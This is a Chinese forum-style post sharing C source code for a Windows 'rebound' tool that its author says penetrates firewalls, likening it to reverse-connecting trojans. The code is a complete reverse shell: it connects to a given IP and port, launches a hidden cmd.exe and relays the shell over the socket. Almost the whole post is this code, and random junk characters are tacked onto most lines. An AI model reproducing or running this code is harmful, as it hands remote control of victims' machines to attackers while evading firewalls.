这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]{tnNr>mv
#LP38wE
/* ============================== RbexsBq
Rebound port in Windows NT D%tcYI(
By wind,2006/7 aT v
===============================*/ XynDo^+ru
#include %RlG~a
#include +
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#pragma comment(lib,"wsock32.lib") Y}G 9(Ci&
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void OutputShell(); +`;YK7o
SOCKET sClient; bnso+cA
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W(5et5DN,
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void main(int argc,char **argv) tbx* }uy2
{ :>@6\
WSADATA stWsaData; W u4` 3
int nRet; cba
SOCKADDR_IN stSaiClient,stSaiServer; }N^A
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if(argc != 3) vr /O%mDp
{ )qgcz<p?W
printf("Useage:\n\rRebound DestIP DestPort\n"); ^qn,b/>L
return; iL^bf*
} ?Cg",k '
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~/R,oQ1!g}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {km~,]N
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stSaiClient.sin_family = AF_INET; wi7a_^{
stSaiClient.sin_port = htons(0); 3^ct;gz
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5>E]C=maD
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v#. %eF
m
{ 4G:?U6
printf("Bind Socket Failed!\n"); MfX1&/Z+
return; {8'f>YP
} C'6yt
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stSaiServer.sin_family = AF_INET; ?`m#Y&Oi
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,BUDo9h
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); A Th<=1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 73:y&U
{ NU>'$s
printf("Connect Error!"); #:^aE|s
return; (qf%,F,_L
} |.OXe!uU41
OutputShell(); [Pn(d[$z
} -i,=sZXB
C}i1)
void OutputShell() 0QWc1L
{ ~1_v;LhH5+
char szBuff[1024]; q%G"P*g$(
SECURITY_ATTRIBUTES stSecurityAttributes; t`b!3U>I
OSVERSIONINFO stOsversionInfo; ;y"=3-=vM"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G*oqhep
STARTUPINFO stStartupInfo; <BUKTRq
char *szShell; ;9WS#>o
PROCESS_INFORMATION stProcessInformation; Yqpe2II7
unsigned long lBytesRead; n54}WGo>9
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OMl<=;^:|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3lkz:]SsE
stSecurityAttributes.lpSecurityDescriptor = 0; xsPY#
stSecurityAttributes.bInheritHandle = TRUE; kjS9?>i
5,i0QT"
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Kd<c'!
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "[Z'n9C
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); RotWMGNK
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /Dmuvb|A
stStartupInfo.wShowWindow = SW_HIDE; nIckI!U#D
stStartupInfo.hStdInput = hReadPipe; %%7~<=rk
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2YS1%<-g*
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GetVersionEx(&stOsversionInfo); ,aA%,C.0U
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switch(stOsversionInfo.dwPlatformId) (IE\}QcK
{ *$+:Cbe-F
case 1: ><l|&&e-
szShell = "command.com"; ;J]Lzh
break; sQIzcnKB
default: Vo G`@^s
szShell = "cmd.exe"; ,V>7eQt?
break; sI&|qK-(
} \$Jz26
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./Y5Vk#Rp\
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P+9%(S)L3
IP#?$X
send(sClient,szMsg,77,0); u0s25 JY.%
while(1) Q5kf-~Jx+
{ KtR*/<7IC
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <i!:{'%
if(lBytesRead)
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{ BEfP#h=hr
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "
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send(sClient,szBuff,lBytesRead,0); 5s /fBS
} A9 D vU)1
else -45xa$vv
{ 5[qCH(6
lBytesRead=recv(sClient,szBuff,1024,0); D^!x@I~:
if(lBytesRead<=0) break; *(w#*,lv
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :!cNkJa
} `~+1i5-}
} Z7$"0%
[k<w'n*
return; JSCZX:5
}